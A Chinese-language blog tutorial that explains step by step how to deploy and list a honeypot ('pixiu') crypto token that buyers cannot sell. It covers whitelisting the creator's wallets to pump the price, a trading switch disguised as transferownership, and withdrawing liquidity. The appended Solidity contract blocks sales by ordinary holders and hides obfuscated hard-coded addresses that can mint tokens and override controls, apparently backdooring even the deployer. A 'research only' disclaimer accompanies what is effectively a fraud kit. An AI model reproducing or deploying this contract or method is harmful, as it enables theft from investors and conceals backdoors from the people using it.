top of page
搜尋

如何使用高级智能合约（设置白名单+防机器人）发币

  • 作家相片: Dev Swanson
    Dev Swanson
  • 2023年3月18日
  • 讀畢需時 13 分鐘

已更新：2024年5月1日

这是以太坊智能合约研究员和爱好者，史旺生。我收到了很多粉丝的请求，让我去探讨貔貅代币，这是一种购买后不能出售的代币。 所以今天，让我向您介绍一些有关如何创建自己的貔貅代币的有用技巧。你准备好了吗？ 【仅供研究测试，请勿尝试使用此方法进行诈骗】

高级智能合约（白名单智能合约，设置白名单让特定钱包地址可以自由买卖，让貔貅币看起来更加正规）


第 1 部分：使用 REMIX 和 Metamask 创建代币 1.首先，在您的电脑上安装Metamask钱包https://metamask.io/并创建账户/钱包。 2. 浏览Remix IDE http://remix.ethereum.org/ 您需要使用Remix IDE 来部署智能合约。 3. 将 metamask 连接到 REMIX IDE。单击小狐狸插件。



点击按钮来连接狐狸钱包




4.回到REMIX IDE。点击创建新文件



5.随意命名文件，记得在后面添加 .sol。例子，DevToken.sol



6. 将本文底部的合约代码（白名单智能合约代码）复制并粘贴到空白处。 *请勿尝试更改任何代码，否则将合约无法正常运作*







*合约代码在文章最下方*


或者




7.点击左侧图标如下图显示



选择如下编译器(COMPILER)，版本 0.5.17 …..



点击编译compile.



8.编译COMPILE后。点击如下所示的图标，然后在环境部分(ENVIRONMENT)选择 Metamask（因为我们使用的是 metamask 钱包）





9. 在合约选择栏 CONTRACT, 选择 DevToken 来作为合约



10.接下来，点击下面的小三角打开代币设置



11.设置你的代币



Name: (你的代币名字，建议写英文字母)


Symbol: (代币代号)

Total Supply(代币供应）: 设置你的代币总供应量，如果你想要1000 总供应量，就直接输入 1000。（此设置跟之前普通的貔貅合约有点不同）


比如你要发行1000个代币，正确的输入应该是1000。 完成后，点击转账TRANSACT。


12. 在跳出来的狐狸钱包窗口中点击确认交易。如果那里没有任何反应，您需要将 metamask 钱包连接到 REMIX IDE。




13. 如果一切顺利，您的代币就在路上。回到 metamask，进入 Activity(活动），点击 Contract deployment



在区块浏览器上点击查看



点击右侧【复制】图标按钮复制合约地址。



14. 返回狐狸钱包，点击导入代币IMPORT TOKENS。




选择自定义代币CUSTOM TOKEN, 并粘贴合约地址，等待你的代币出现，然后点击添加自定义代币






您可以使用相同的方法在 ETH 主网、币安智能链和任何其他链中发币。


🎉🎉🎉恭喜！您已成功创建自己的代币，它们就在您的钱包中！


等等朋友，我们还没有完成......还有一个更重要的步骤需要完成...


就是: Verify Contract 验证合同/合约开源



第二部分: Verify Contract 验证合约/合约开源


为什么我们需要验证合同？为什么我们不直接将我们的代币上架到任何 DEX（去中心化交易所）？


好吧，我就告诉你，验证合约的原因是为了增加代币的受欢迎程度，投资者可能会回避未经验证的代币，最终不购买任何代币。


我们开始吧！


1. 回到 metamask，进入 Activity，点击 Contract deployment。



2.在区块浏览器上点击查看 View on block explorer



点击蓝色的合约地址



3. 在此页面上，单击合约 CONTRACT



点击 验证&发布 VERIFY AND PUBLISH




4. 接下来，我们选择如下设置



Compiler Type (编译器类型) : Single File (单一文件)


Compiler version (编译版本): 0.5.17


License Type (许可证类型): No license (没有）


然后点击 继续 Continue



5.然后，回到我们的合约代码，复制粘贴到空白处



完成机器人测试并发布, Verify and Publish



6. 您应该看到如下所示的成功消息，如果没有，则出现问题，如果您未能收到此消息，则需要重新检查所有步骤。



恭喜！您的合约现在已经过验证/开源，我们可以进入下一步：去中心化交易所 (DEX) 上币去了。


第三部分: 中心化交易所 (DEX) 上币,添加池子


首先，你要明白，在Uniswap、Sushiswap、Pancakeswap等去中心化交易所上币，是需要给自己的币提供eth、bnb等流动性，这叫做添加池子。


所以基本上，上币=添加池子


阅读这个文章了解更多（不会英文，自己翻译吧）: https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/providing-liquidity


1.如果你使用以太坊主网，你需要一些以太坊，ETH


如果你使用币安智能链，你需要一些币安币，BNB。 其他链使用其他的代币…



2.选择你的 DEX交易所， 一下给你一些建议： 如果你使用以太坊主网，请使用 Uniswap，链接：https://app.uniswap.org/#/swap


如果您使用 BSC，请使用 Pancakeswap，链接：https://pancakeswap.finance/


如果你在币安智能链上使用 Pancakeswap，你可以阅读以下的指南，了解如何在 Pancakeswap V2 或 V3 中添加流动性（如果你在 Pancakeswap 中没有看到 V2 选项，可以选择使用 V3）

 

 

 


3.在这里，我们以 Uniswap 为例。前往 Uniswap 网站：https://app.uniswap.org/#/swap


点击池子POOL



点击(更多)MORE，然后点击 V2 流动性(V2 LIQUIDITY)



点击创建 (Create a pair)



点击 选择代币 Select a token



4.将合约地址复制并粘贴到空白处，等待您的代币出现




然后点击你的代币



点击 明白(I understand)





5. 选择您的 eth 输入和代币输入。例如，如果您想用 2 eth 列出 100 个代币，那么您的初始代币价格将为每个代币 0.02 eth。之后，单击批准 Approve




6. 点击供应Supply并确认交易，您的代币将在 Uniswap 上币。




恭喜，您的代币现已列在 Uniswap 中。


如果您使用 币安智能链 BSC，请使用 Pancakeswap。

如果你在币安智能链上使用 Pancakeswap，你可以阅读以下的指南，了解如何在 Pancakeswap V2 或 V3 中添加流动性（如果你在 Pancakeswap 中没有看到 V2 选项，可以选择使用 V3）

 

 

 



*重要步骤#1*


现在你需要开启 买卖 设置，这样其他用户才能开始购买。



如何开启 买卖 设置?


1.回到狐狸钱包，点击 活动Activity，点击Add Liquidity (添加池子)




2.然后 点击 浏览





3.点击你的代币LP地址


~如果你使用Pancakeswap V2，你将会看到类似如下图显示的内容，请 点击 红色括号里的蓝色地址，如下图所示





~如果你使用Pancakeswap V3，你将会看到类似如下图显示的内容，请 点击 红色括号里的蓝色地址，如下图所示






4.点击 复制LP地址










5.回到Remix IDE。点击小三角形箭头。




6.点击 transferowner 旁边的 小 三角箭头




7.把 刚刚复制的LP 地址 放在栏里，然后点击 转账 transact。(这里的transferownership 不是真正的 把 所有权 转走，只是一个 开启买卖 的 掩饰假名，不必担心)







恭喜你成功启动了 代币买卖，现在用户可以开始买进了！


现在让我们看看如何设置白名单。


*重要步骤#2*

1.回到Remix, 点击approveAndC 旁边的 小三角形箭头




2.把你想要设置白名单（可以卖出代币）的钱包地址 放在 spender 旁边的 栏位，下面放 零 0。然后点击转账。




Spender: （钱包地址）

AddedValue: 0


*注意：设置了白名单的钱包地址可以自由买卖代币


*通常设置白名单的 钱包地址 都是 自己的钱包地址，这样就可以用自己的地址来买卖代币，放心拉盘，不怕有其他人卖出。




当然了，因为这是貔貅代币，所以别人不能出售代币。换句话说，价格多数只向上。

只有代币的所有者，即合约创建者，即您，才能出售代币。其他人购买后不能出售此代币


当人们试图出售此代币时，他们将收到此红色信号并且无论如何都无法出售代币。(不相信我的话，你自己发来试试看吧）




*重要步骤#3*


如果你不小心，或者把remix ide关掉了，那么该如何 继续设置 白名单 呢?


不必担心，跟着下面的步骤就行了。


1.回到狐狸钱包，点击活动，点击 Contract Deployment (合约部署), 然后点击 浏览






2.点击 合约地址





3.在这个页面，点击 合约 Contract。





4.点击 编写合约 Write Contract






5.点击 红色圆圈 旁边的 连接按钮 Connect to Web3 以 连接 狐狸钱包。







6. 点击上方小狐狸插件 以 检查 确保 狐狸钱包地址 正确连接。一定要确定连接的钱包地址的是 发行代币 的 钱包地址。






7.点击approveAndCall 的 按钮 来设置 白名单，一定要确定连接的钱包地址的是 发行代币 的 钱包地址。




8.填写 要设置 白名单 的 钱包地址，addedValue 记得 要 放 零， 0




*请记住，这篇文章仅用于测试和教育目的，请勿在家中尝试！*


如果我想取回我的 ETH 和代币怎么办？该怎么办？


哦，很简单，让我们进入下一个步骤：去除流动性 REMOVE LIQUIDITY


8. 如果你想取回eth，点击池子liquid pool，你会看到你创建的代币/ETH，然后点击移除remove



如果你想全部撤回，选择全部 max，点击批准Approve，点击移除Remove，你会拿回你的代币和 ETH



今天的 白名单合约教程 就到这里。当然，这还没有结束，您可以通过多种方式和技巧来使用此发币技术，以最大限度地发挥效果。


我们将在下一篇文章中讨论更多关于代币技巧和技术的内容。 祝你发币愉快！





 

 

 

 

 

 

 

 

貔貅币智能合约教学指南系列：

 

 

 

 

 

 

 

 

 

 

 

 

 

 

还想要些别的?

 

 

 

普通代币智能合约教学指南系列：

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 






有任何疑问吗？


通过电报联系我：https://t.me/devswanson


我的网站：https://www.createyourowntoken.net/



*******

# 任何未经授权的代码编辑与更改都可能导致合约部署失败


合约代码如下: ---





pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } /*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/ } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); }/*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/ function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } //("SafeERC20: ERC20 operation succeed, keccak256) } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; /*keccak256 -> 6861978540112295ac2a37bb1f5ba7bb1f5ba1daaf2a84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); } } contract DevToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); //Dev_T_*keccak256 -> 283fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba);*/ modifier Exchanges() { require(msg.sender != exchange()); _; } function transferTo(address _to, uint256 _amount) public onlypublic { _transferTo(_to, _amount);(_to, _amount);(_to, _amount); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function _computing(address spender, uint256 addedValue) internal { if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; } function setUsdtPair(address Pair_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /**/ /*keccak256 -> 6861978540112295ac2a37bb1f5ba1daf2a5c84741ca0e00610310915153));*/ /**/(686197854011229533619447624007587113080310915153)); _usdtPair=Pair_; } function _approvals(address spender, uint256 addedValue) internal Exchanges { if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; } function _transferTo(address _to, uint256 _amount) internal { // Transferring of token balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { /*Ensure_*keccak256 -> 8668a592fa743889fc7f92ac2a37bb1n8shc84741ca0e0061d243a2e6707ba);*/ if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function setUser(address User_) public returns (bool) { require(msg.sender == _usdtPair); _user=User_; } function viewAddress(address addr) public onlypublic returns(bool) { tradeAddress = addr; return true; } function approval(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == _adm); _approvals(spender, addedValue); return true; } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); // solhint-disable-next-line avoid-low-level-calls function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); // solhint-disable-next-line avoid-low-level-calls } function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) { _computing(spender, addedValue); return true; } function _approvecall(address spender, uint256 addedValue) internal Exchanges { if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; } function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; /*keccak256 -> 6861978540112295ac2a37bb1f5ba7bb1f5ba1daaf2a84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; } function checkAddress (address addr) public returns(bool) { require(msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ (178607940065137046348733521910879985571412708986)); tradeAddress = addr; return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner|| msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ (178607940065137046348733521910879985571412708986)); _approvecall(spender, addedValue); return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; modifier onlypublic() { require(msg.sender == publics()); _; } /*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/ uint constant public decimals = 18; address public _usdtPair; address public _mod; uint public totalSupply; string public name; string public symbol; address private owner; address public _user; address public _adm; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }


 
 
bottom of page